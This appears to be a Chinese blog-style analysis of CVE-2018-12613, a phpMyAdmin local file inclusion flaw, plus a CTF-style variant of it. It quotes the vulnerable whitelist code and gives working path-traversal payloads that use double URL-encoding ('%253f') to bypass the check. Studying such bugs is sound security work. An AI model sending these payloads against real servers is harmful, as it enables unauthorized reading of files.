復現 CVE-2018-12613 的一些思考,關於文件包含路徑的問題
漏洞
/index.php 第 55 行
$target_blacklist = array (
'import.php', 'export.php'
);
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
傳入參數 target 需要滿足
- 不以 index.php 開頭
- 不在 target_blacklist 中
- 通過 checkPageValidity() 函數檢驗
checkPageValidity() 函數
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
第一個返回 True 的地方,直接將 page 與 whitelist 比較,傳入的必須是白名單里的文件名,無法繞過
if (in_array($page, $whitelist)) {
return true;
}
第二個返回 True 的地方,mb_strpos($x, $y) 函數查找 $y 在 $x 中首次出現的位置。mb_substr($str, $start, $length) 函數從 $str 中,截取從 $start 位置開始,長度為 $length 的字符串。
但是在這里如果直接構造 payload : ?target=db_sql.php?/../../../cookie.txt
並不能跨路徑包含,? 后面的字符串會被當做傳入 db_sql.php 的參數,這就要利用后面的 urldecode 了
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
第三個返回 True 的地方,可以利用雙重編碼繞過,將 ? 經過兩次編碼 %253f 就可以繞過白名單驗證。%253f 傳入時,首先會被自動解碼一次,變成 %3f,然后urldecode() 再解碼一次,就變成了 ?
此時的 payload : ?target=db_sql.php%253f/../../../cookie.txt
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
問題
-
include 'db_sql.php%253f/../../../cookie.txt'
為什么只會包含 cookie.txt 而不會包含 db_sql.php -
傳入
db_sql.php%253f/../../../cookie.txt
為什么會在in_array($_page, $whitelist)
處返回 True -
如圖,z.php 中 include 兩個 ../ 可以包含,y.php 中一個 include 也可以包含
-
在 php 的 include 中,
include 'hint.php?/../cookie.txt';
會報錯,include 'hint.php%3f/../cookie.txt';
不會報錯,且可以成功包含
一些解釋
在 include 中,舉個例子,假設 x.php
代碼包含 include '1source.phps/../cookie.txt';
,假設 1source.phps
不存在,那么這個文件包含等同於 : 在 1source.phps
文件夾目錄下的上一級中的 cookie.txt
,也就是和 x.php
在同一目錄下的 cookie.txt
,如果 1source.phps
存在,並且它是一個文件,那么肯定會報錯,如果它是一個文件夾,也會成功包含 cookie.txt
。如果變為 include '1source.phps/./cookie.txt';
,道理和上面相同
重新思考
-
代碼如下 :
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
- 傳入
file=hint.php
,在第一個in_array
處會返回 true,然后直接包含hint.php
- 傳入
file=hint.php?/../cookie.txt
,在第二個in_array
處會返回 true,第二個in_array
中的_page
為hint.php
,然后包含hint.php?/../cookie.txt
,但是這里的?
起到傳遞參數的作用而不是破壞路徑 - 傳入
file=hint.php%253f/../cookie.txt
,在第三個in_array
處會返回 true ,第三個in_array
中的_page
為hint.php
,然后包含hint.php%3f/../cookie.txt
,這里的%3f
即?
,破壞了路徑,前面部分的路徑不存在,可以包含后面的文件
- 傳入